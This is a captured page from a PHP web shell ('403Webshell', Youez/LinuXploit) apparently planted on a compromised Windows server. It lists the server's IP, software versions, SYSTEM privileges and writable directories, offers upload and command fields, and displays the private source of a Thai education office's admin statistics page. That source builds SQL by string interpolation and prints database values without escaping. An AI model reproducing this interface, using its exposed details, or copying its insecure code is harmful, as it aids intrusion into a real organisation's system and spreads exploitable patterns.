403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/education/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/education/admin_stats.php
<?php
require_once 'config.php';
check_login();
check_admin();

$page_title = "สถิติภาพรวม - ระบบจัดการข้อมูลการเรียนต่อ สพม.ราชบุรี";

$current_year = get_current_academic_year();

// สถิติทั่วไป
$sql_total_continue = "SELECT COALESCE(SUM(student_count), 0) as total FROM student_continue_study WHERE academic_year = '$current_year'";
$sql_total_work = "SELECT COALESCE(SUM(student_count), 0) as total FROM student_work WHERE academic_year = '$current_year'";
$sql_total_schools = "SELECT COUNT(*) as total FROM user WHERE type = 'school'";
$sql_schools_reported = "SELECT COUNT(DISTINCT user_id) as total FROM (
    SELECT user_id FROM student_continue_study WHERE academic_year = '$current_year'
    UNION
    SELECT user_id FROM student_work WHERE academic_year = '$current_year'
) as reported";

$total_continue = mysqli_fetch_assoc(mysqli_query($conn, $sql_total_continue))['total'];
$total_work = mysqli_fetch_assoc(mysqli_query($conn, $sql_total_work))['total'];
$total_schools = mysqli_fetch_assoc(mysqli_query($conn, $sql_total_schools))['total'];
$schools_reported = mysqli_fetch_assoc(mysqli_query($conn, $sql_schools_reported))['total'];

// สถิติมหาวิทยาลัยยอดนิยม
$sql_top_unis = "
    SELECT un.name, SUM(scs.student_count) as total_students
    FROM student_continue_study scs
    LEFT JOIN uni_name un ON scs.uni_id = un.id
    WHERE scs.academic_year = '$current_year'
    GROUP BY scs.uni_id, un.name
    ORDER BY total_students DESC
    LIMIT 10
";
$top_unis = mysqli_query($conn, $sql_top_unis);

// สถิติคณะยอดนิยม
$sql_top_faculties = "
    SELECT fn.name, SUM(scs.student_count) as total_students
    FROM student_continue_study scs
    LEFT JOIN faculty_name fn ON scs.faculty_id = fn.id
    WHERE scs.academic_year = '$current_year'
    GROUP BY scs.faculty_id, fn.name
    ORDER BY total_students DESC
    LIMIT 10
";
$top_faculties = mysqli_query($conn, $sql_top_faculties);

// สถิติตามโรงเรียน
$sql_schools_stats = "
    SELECT u.name as school_name,
           COALESCE(SUM(scs.student_count), 0) as continue_count,
           COALESCE(SUM(sw.student_count), 0) as work_count,
           (COALESCE(SUM(scs.student_count), 0) + COALESCE(SUM(sw.student_count), 0)) as total_count
    FROM user u
    LEFT JOIN student_continue_study scs ON u.id = scs.user_id AND scs.academic_year = '$current_year'
    LEFT JOIN student_work sw ON u.id = sw.user_id AND sw.academic_year = '$current_year'
    WHERE u.type = 'school'
    GROUP BY u.id, u.name
    HAVING total_count > 0
    ORDER BY total_count DESC
";
$schools_stats = mysqli_query($conn, $sql_schools_stats);

include 'template/header.php';
?>

<div class="container-fluid main-content">
    <div class="row">
        <!-- Sidebar -->
        <div class="col-md-3 col-lg-2 px-0">
            <div class="sidebar">
                <div class="p-3">
                    <h6 class="text-muted fw-bold mb-3">เมนูผู้ดูแลระบบ</h6>
                    <nav class="nav flex-column">
                        <a class="nav-link" href="dashboard.php">
                            <i class="bi bi-house me-2"></i>หน้าหลัก
                        </a>
                        <a class="nav-link active" href="admin_stats.php">
                            <i class="bi bi-bar-chart me-2"></i>สถิติภาพรวม
                        </a>
                        <a class="nav-link" href="admin_reports.php">
                            <i class="bi bi-file-earmark-text me-2"></i>รายงาน
                        </a>
                    </nav>
                </div>
            </div>
        </div>
        
        <!-- Main content -->
        <div class="col-md-9 col-lg-10">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-12">
                        <h2 class="text-white mb-4">
                            <i class="bi bi-bar-chart me-2"></i>
                            สถิติภาพรวม
                        </h2>
                    </div>
                </div>
                
                <!-- Overview Statistics -->
                <div class="row mb-4">
                    <div class="col-md-6 col-lg-3 mb-4">
                        <div class="stats-card">
                            <div class="d-flex align-items-center justify-content-between">
                                <div>
                                    <div class="stats-number"><?php echo number_format($total_continue); ?></div>
                                    <div class="fw-semibold">นักเรียนเรียนต่อ</div>
                                    <small class="opacity-75">คน</small>
                                </div>
                                <i class="bi bi-mortarboard" style="font-size: 3rem; opacity: 0.3;"></i>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-lg-3 mb-4">
                        <div class="stats-card" style="background: linear-gradient(135deg, #11998e 0%, #38ef7d 100%);">
                            <div class="d-flex align-items-center justify-content-between">
                                <div>
                                    <div class="stats-number"><?php echo number_format($total_work); ?></div>
                                    <div class="fw-semibold">นักเรียนประกอบอาชีพ</div>
                                    <small class="opacity-75">คน</small>
                                </div>
                                <i class="bi bi-briefcase" style="font-size: 3rem; opacity: 0.3;"></i>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-lg-3 mb-4">
                        <div class="stats-card" style="background: linear-gradient(135deg, #f093fb 0%, #f5576c 100%);">
                            <div class="d-flex align-items-center justify-content-between">
                                <div>
                                    <div class="stats-number"><?php echo number_format($total_schools); ?></div>
                                    <div class="fw-semibold">โรงเรียนทั้งหมด</div>
                                    <small class="opacity-75">แห่ง</small>
                                </div>
                                <i class="bi bi-building" style="font-size: 3rem; opacity: 0.3;"></i>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-lg-3 mb-4">
                        <div class="stats-card" style="background: linear-gradient(135deg, #ffecd2 0%, #fcb69f 100%); color: #333;">
                            <div class="d-flex align-items-center justify-content-between">
                                <div>
                                    <div class="stats-number"><?php echo number_format($schools_reported); ?></div>
                                    <div class="fw-semibold">โรงเรียนที่รายงานแล้ว</div>
                                    <small class="opacity-75">แห่ง</small>
                                </div>
                                <i class="bi bi-check-circle" style="font-size: 3rem; opacity: 0.3;"></i>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Charts Row -->
                <div class="row mb-4">
                    <div class="col-md-6 mb-4">
                        <div class="card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="bi bi-pie-chart me-2"></i>
                                    สัดส่วนการเรียนต่อและประกอบอาชีพ
                                </h5>
                            </div>
                            <div class="card-body">
                                <canvas id="overviewChart" height="300"></canvas>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 mb-4">
                        <div class="card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="bi bi-bar-chart me-2"></i>
                                    สถิติการรายงานของโรงเรียน
                                </h5>
                            </div>
                            <div class="card-body">
                                <canvas id="schoolReportChart" height="300"></canvas>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Top Universities -->
                <div class="row mb-4">
                    <div class="col-md-6 mb-4">
                        <div class="card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="bi bi-trophy me-2"></i>
                                    มหาวิทยาลัยยอดนิยม 10 อันดับ
                                </h5>
                            </div>
                            <div class="card-body">
                                <?php if(mysqli_num_rows($top_unis) > 0): ?>
                                    <div class="table-responsive">
                                        <table class="table table-sm">
                                            <thead>
                                                <tr>
                                                    <th>อันดับ</th>
                                                    <th>มหาวิทยาลัย</th>
                                                    <th class="text-center">จำนวน</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php 
                                                $rank = 1;
                                                while($uni = mysqli_fetch_assoc($top_unis)): 
                                                ?>
                                                    <tr>
                                                        <td>
                                                            <?php if($rank <= 3): ?>
                                                                <span class="badge bg-warning text-dark"><?php echo $rank; ?></span>
                                                            <?php else: ?>
                                                                <?php echo $rank; ?>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td><?php echo $uni['name']; ?></td>
                                                        <td class="text-center">
                                                            <span class="badge bg-primary"><?php echo number_format($uni['total_students']); ?></span>
                                                        </td>
                                                    </tr>
                                                <?php 
                                                $rank++;
                                                endwhile; 
                                                ?>
                                            </tbody>
                                        </table>
                                    </div>
                                <?php else: ?>
                                    <p class="text-muted text-center">ยังไม่มีข้อมูล</p>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Top Faculties -->
                    <div class="col-md-6 mb-4">
                        <div class="card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="bi bi-award me-2"></i>
                                    คณะยอดนิยม 10 อันดับ
                                </h5>
                            </div>
                            <div class="card-body">
                                <?php if(mysqli_num_rows($top_faculties) > 0): ?>
                                    <div class="table-responsive">
                                        <table class="table table-sm">
                                            <thead>
                                                <tr>
                                                    <th>อันดับ</th>
                                                    <th>คณะ</th>
                                                    <th class="text-center">จำนวน</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php 
                                                $rank = 1;
                                                while($faculty = mysqli_fetch_assoc($top_faculties)): 
                                                ?>
                                                    <tr>
                                                        <td>
                                                            <?php if($rank <= 3): ?>
                                                                <span class="badge bg-success text-white"><?php echo $rank; ?></span>
                                                            <?php else: ?>
                                                                <?php echo $rank; ?>
                                                            <?php endif; ?>
                                                        </td>
                                                        <td><?php echo $faculty['name']; ?></td>
                                                        <td class="text-center">
                                                            <span class="badge bg-success"><?php echo number_format($faculty['total_students']); ?></span>
                                                        </td>
                                                    </tr>
                                                <?php 
                                                $rank++;
                                                endwhile; 
                                                ?>
                                            </tbody>
                                        </table>
                                    </div>
                                <?php else: ?>
                                    <p class="text-muted text-center">ยังไม่มีข้อมูล</p>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- School Statistics -->
                <div class="row">
                    <div class="col-12">
                        <div class="card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="bi bi-building me-2"></i>
                                    สถิติตามโรงเรียน
                                </h5>
                            </div>
                            <div class="card-body">
                                <?php if(mysqli_num_rows($schools_stats) > 0): ?>
                                    <div class="table-responsive">
                                        <table class="table table-hover">
                                            <thead>
                                                <tr>
                                                    <th>โรงเรียน</th>
                                                    <th class="text-center">เรียนต่อ</th>
                                                    <th class="text-center">ประกอบอาชีพ</th>
                                                    <th class="text-center">รวม</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php while($school = mysqli_fetch_assoc($schools_stats)): ?>
                                                    <tr>
                                                        <td><?php echo $school['school_name']; ?></td>
                                                        <td class="text-center">
                                                            <span class="badge bg-primary"><?php echo number_format($school['continue_count']); ?></span>
                                                        </td>
                                                        <td class="text-center">
                                                            <span class="badge bg-success"><?php echo number_format($school['work_count']); ?></span>
                                                        </td>
                                                        <td class="text-center">
                                                            <span class="badge bg-warning text-dark"><?php echo number_format($school['total_count']); ?></span>
                                                        </td>
                                                    </tr>
                                                <?php endwhile; ?>
                                            </tbody>
                                        </table>
                                    </div>
                                <?php else: ?>
                                    <div class="text-center py-5">
                                        <i class="bi bi-inbox" style="font-size: 4rem; color: #ccc;"></i>
                                        <h5 class="text-muted mt-3">ยังไม่มีข้อมูล</h5>
                                        <p class="text-muted">ยังไม่มีโรงเรียนที่รายงานข้อมูลสำหรับปีการศึกษา <?php echo $current_year; ?></p>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
// Overview Pie Chart
const overviewCtx = document.getElementById('overviewChart').getContext('2d');
new Chart(overviewCtx, {
    type: 'doughnut',
    data: {
        labels: ['เรียนต่อ', 'ประกอบอาชีพ'],
        datasets: [{
            data: [<?php echo $total_continue; ?>, <?php echo $total_work; ?>],
            backgroundColor: [
                'rgba(102, 126, 234, 0.8)',
                'rgba(17, 153, 142, 0.8)'
            ],
            borderColor: [
                'rgba(102, 126, 234, 1)',
                'rgba(17, 153, 142, 1)'
            ],
            borderWidth: 2
        }]
    },
    options: {
        responsive: true,
        maintainAspectRatio: false,
        plugins: {
            legend: {
                position: 'bottom'
            }
        }
    }
});

// School Report Chart
const schoolReportCtx = document.getElementById('schoolReportChart').getContext('2d');
new Chart(schoolReportCtx, {
    type: 'bar',
    data: {
        labels: ['รายงานแล้ว', 'ยังไม่รายงาน'],
        datasets: [{
            label: 'จำนวนโรงเรียน',
            data: [<?php echo $schools_reported; ?>, <?php echo ($total_schools - $schools_reported); ?>],
            backgroundColor: [
                'rgba(56, 239, 125, 0.8)',
                'rgba(245, 87, 108, 0.8)'
            ],
            borderColor: [
                'rgba(56, 239, 125, 1)',
                'rgba(245, 87, 108, 1)'
            ],
            borderWidth: 2
        }]
    },
    options: {
        responsive: true,
        maintainAspectRatio: false,
        plugins: {
            legend: {
                display: false
            }
        },
        scales: {
            y: {
                beginAtZero: true
            }
        }
    }
});
</script>

<?php include 'template/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit